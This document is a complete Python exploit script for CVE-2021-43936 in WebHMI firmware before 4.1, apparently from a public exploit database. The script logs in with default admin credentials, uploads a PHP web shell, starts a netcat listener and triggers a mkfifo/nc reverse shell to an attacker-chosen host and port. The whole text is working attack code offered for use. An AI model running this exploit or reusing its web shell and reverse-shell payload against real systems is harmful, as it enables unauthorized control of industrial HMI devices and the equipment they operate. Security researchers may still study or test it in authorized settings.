WebHMI 4.0 Remote Code Execution

`# Exploit Title: WebHMI 4.0 - Remote Code Execution (RCE) (Authenticated)  
# Date: 12/12/2021  
# Exploit Author: Jeremiasz Pluta  
# Vendor Homepage: https://webhmi.com.ua/en/  
# Version: WebHMI Firmware < 4.1  
# CVE: CVE-2021-43936  
# Tested on: WebHMI Firmware 4.0.7475  
  
#!/usr/bin/python  
import sys  
import re  
import argparse  
import pyfiglet  
import requests  
import time  
import subprocess  
  
banner = pyfiglet.figlet_format("CVE-2021-43936")  
print(banner)  
print('Exploit for CVE-2021-43936')  
print('For: WebHMI Firmware < 4.1')  
  
login = "admin" #CHANGE ME IF NEEDED  
password = "admin" #CHANGE ME IF NEEDED  
  
class Exploit:  
  
def __init__(self, target_ip, target_port, localhost, localport):  
self.target_ip = target_ip  
self.target_port = target_port  
self.localhost = localhost  
self.localport = localport  
  
def exploitation(self):  
payload = """<?php system($_GET['cmd']); ?>"""  
payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+""" + localhost + """+""" + localport + """+>/tmp/f"""  
  
headers_login = {  
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',  
'Accept': 'application/json, text/javascript, */*; q=0.01',  
'Accept-Language': 'en-US,en;q=0.5',  
'Accept-Encoding': 'gzip, deflate',  
'Content-Type': 'application/json',  
'X-WH-LOGIN': login,  
'X-WH-PASSWORD': password,  
'X-Requested-With': 'XMLHttpRequest',  
'Connection': 'close',  
'Content-Length': '0'  
}  
  
url = 'http://' + target_ip + ':' + target_port   
r = requests.Session()  
  
print('[*] Resolving URL...')  
r1 = r.get(url)  
time.sleep(3)  
  
print('[*] Trying to log in...')  
r2 = r.post(url + '/api/signin', headers=headers_login, allow_redirects=True)  
time.sleep(3)  
  
print('[*] Login redirection...')  
login_cookies = {  
'X-WH-SESSION-ID':r2.headers['X-WH-SESSION-ID'],  
'X-WH-CHECK-TRIAL':'true',  
'il18next':'en',  
}  
r3 = r.post(url + '/login.php?sid=' + r2.headers['X-WH-SESSION-ID'] + '&uid=1',cookies=login_cookies)  
time.sleep(3)  
  
print('[*] Uploading cmd.php file...')  
files = {  
'file': ('cmd.php', payload, 'application/x-php')  
}  
r4 = r.post(url + '/files.php', files=files, cookies=login_cookies)  
time.sleep(3)  
  
print('[*] Setting up netcat listener...')  
listener = subprocess.Popen(["nc", "-nvlp", self.localport])  
time.sleep(3)  
  
print('[*] Executing reverse shell...')  
print('[*] Watchout for shell! :)')  
r5 = r.get(url + '/uploads/files/cmd.php?cmd=' + payload2, cookies=login_cookies)  
  
if (r5.status_code == 200):  
print('[*] Got shell!')  
while True:  
listener.wait()  
else:  
print('[-] Something went wrong!')  
listener.terminate()  
  
def get_args():  
parser = argparse.ArgumentParser(description='WebHMI Firmware <4.1 Unrestricted File Upload + Code Execution (Authenticated)')  
parser.add_argument('-t', '--target', dest="url", required=True, action='store', help='Target IP')  
parser.add_argument('-p', '--port', dest="target_port", required=True, action='store', help='Target port')  
parser.add_argument('-L', '--listener-ip', dest="localhost", required=True, action='store', help='Local listening IP')  
parser.add_argument('-P', '--localport', dest="localport", required=True, action='store', help='Local listening port')  
args = parser.parse_args()  
return args  
  
args = get_args()  
target_ip = args.url  
target_port = args.target_port  
localhost = args.localhost  
localport = args.localport  
  
exp = Exploit(target_ip, target_port, localhost, localport)  
exp.exploitation()  
  
  
`